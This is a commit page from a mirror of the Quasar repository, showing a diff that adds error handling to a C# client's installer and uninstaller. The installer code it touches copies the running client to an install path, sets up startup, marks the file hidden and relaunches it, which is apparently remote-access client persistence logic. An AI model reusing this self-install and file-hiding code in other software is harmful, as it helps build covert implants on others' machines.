quasar
/
Quasar
mirror of https://github.com/quasar/Quasar.git
1
0
Fork 0
Code Issues Projects Releases Wiki Activity

Improved Installation error handling

This commit is contained in:
MaxXor 2015-08-26 21:15:12 +02:00
parent b818dbc54b
commit 5ceab1ac72
2 changed files with 31 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

34
Client/Core/Installation/ClientInstaller.cs
View File

@ -17,7 +17,17 @@ namespace xClient.Core.Installation
// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
{
try
{
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
}
catch (Exception)
{
ClientData.Disconnect = true;
return;
}
}
// delete existing file
if (File.Exists(ClientData.InstallPath))
@ -47,7 +57,15 @@ namespace xClient.Core.Installation
if (isKilled) Thread.Sleep(5000);
//copy client to target dir
File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true);
try
{
File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true);
}
catch
{
ClientData.Disconnect = true;
return;
}
if (Settings.STARTUP)
{
@ -61,7 +79,7 @@ namespace xClient.Core.Installation
{
File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden);
}
catch
catch (Exception)
{
}
}
@ -76,7 +94,15 @@ namespace xClient.Core.Installation
UseShellExecute = true,
FileName = ClientData.InstallPath
};
Process.Start(startInfo);
try
{
Process.Start(startInfo);
}
catch (Exception)
{
ClientData.Disconnect = true;
return;
}
ClientData.Disconnect = true;
}
}

2
Client/Core/Installation/ClientUninstaller.cs
View File

@ -28,7 +28,7 @@ namespace xClient.Core.Installation
if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
new Packets.ClientPackets.SetStatus("Uninstallation failed: File is read-only").Execute(client);
string batchFile = FileHelper.CreateUninstallBatch(Settings.HIDEFILE);
string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);
if (string.IsNullOrEmpty(batchFile)) return;